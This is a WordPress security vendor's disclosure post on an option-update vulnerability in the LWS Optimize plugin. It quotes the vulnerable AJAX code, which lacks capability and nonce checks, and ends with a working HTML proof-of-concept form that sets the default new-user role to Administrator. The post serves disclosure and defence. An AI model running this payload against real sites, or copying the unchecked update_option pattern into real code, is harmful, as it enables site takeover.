Authenticated Option Update Vulnerability in LWS Optimize
One way we help to improve the security of WordPress plugins, not just for customers of our service, but for everyone using them, is our proactive monitoring of changes made to plugins in the Plugin Directory to try to catch serious vulnerabilities. Through that, we caught a variant of one of those vulnerabilities, an authenticated option update vulnerability in a brand new plugin, LWS Optimize.
We now are also running all the plugins used by our customers through the same system used for the proactive monitoring on a weekly basis to provide additional protection for them.
The possibility of this vulnerability is also flagged by our Plugin Security Checker, so you can check plugins you use to see if they might have similar issues with that tool.
We tested and confirmed that our firewall plugin for WordPress protected against standard types of of exploitation of this vulnerability you would see in a mass hack, even before we discovered the vulnerability, as part of its protection against zero-day vulnerabilities.
Authenticated Option Update
There are multiple instances of the vulnerability in the plugin. One of them involves the function lws_op_exclude() in the file /lws-optimize.php, which is made accessible to anyone logged in to WordPress through its AJAX functionality:
1658 | add_action("wp_ajax_lws_opti_exclude", "lws_op_exclude"); |
That will update an arbitrary WordPress option (setting) specified by the POST input “option” to an arbitrary value specified by the POST input “data”:
1659 1660 1661 1662 1663 1664 | function lws_op_exclude() { if (isset($_POST['data'], $_POST['option'])) { $list_sites = sanitize_text_field($_POST['data']); $option = sanitize_text_field($_POST['option']); update_option($option, $list_sites); |
There are multiple security problems with that. There isn’t a capabilities check to limit access to only certain WordPress users, a nonce check to prevent cross-site request (CSRF), and a limit on what settings can be set with that code.
WordPress Causes Full Disclosure
As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)
You can notify the developer of this issue on the forum as well.
After four years, the moderators have finally tacitly admitted they were behaving inappropriately and have made moves to fix the problems (though incompletely), so these full disclosures can be ended if they simply restore access to our accounts and plugins in the Plugin Directory. Hopefully that takes less than four years.
Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:
Proof of Concept
The following proof of concept will change the default role for new users to Administrator.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=lws_opti_exclude" method="POST"> <input type="hidden" name="option" value="default_role" /> <input type="hidden" name="data" value="administrator" /> <input type="submit" value="Submit" /> </form> </body>